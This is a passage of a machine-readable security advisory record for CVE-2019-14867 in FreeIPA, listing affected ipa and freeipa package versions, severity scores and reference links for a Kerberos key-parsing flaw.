        "name": "ipa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6.2"
            },
            {
              "fixed": "4.6.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ipa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.7.0"
            },
            {
              "fixed": "4.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ipa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.8.0"
            },
            {
              "fixed": "4.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "freeipa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6.2"
            },
            {
              "fixed": "4.6.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "freeipa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.7.0"
            },
            {
              "fixed": "4.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "freeipa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.8.0"
            },
            {
              "fixed": "4.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-14867"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-12-06T18:13:11Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "A flaw was found in IPA, all 4.6.x versions before 4.6.7, all 4.7.x versions before 4.7.4 and all 4.8.x versions before 4.8.3, in the way the internal function ber_scanf() was used in some components of the IPA server, which parsed kerberos key data. An unauthenticated attacker who could trigger parsing of the krb principal key could cause the IPA server to crash or in some conditions, cause arbitrary code to be executed on the server hosting the IPA server.",
  "id": "GHSA-7hpj-hfcr-5qwm",
  "modified": "2024-09-20T21:57:38Z",
  "published": "2021-12-06T18:17:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14867"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHBA-2019:4268"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0378"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14867"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-7hpj-hfcr-5qwm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/ipa/PYSEC-2019-28.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-db/tree/main/vulns/ipa/PYSEC-2019-28.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/67SEUWJAJ5RMH5K4Q6TS2I7HIMXUGNKF"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WLFL5XDCJ3WT6JCLCQVKHZBLHGW7PW4T"
    },
    {
      "type": "WEB",
      "url": "https://www.freeipa.org/page/Releases/4.6.7"
    },
    {
      "type": "WEB",
      "url": "https://www.freeipa.org/page/Releases/4.7.4"
    },
    {
      "type": "WEB",
      "url": "https://www.freeipa.org/page/Releases/4.8.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Code injection in FreeIPA"
}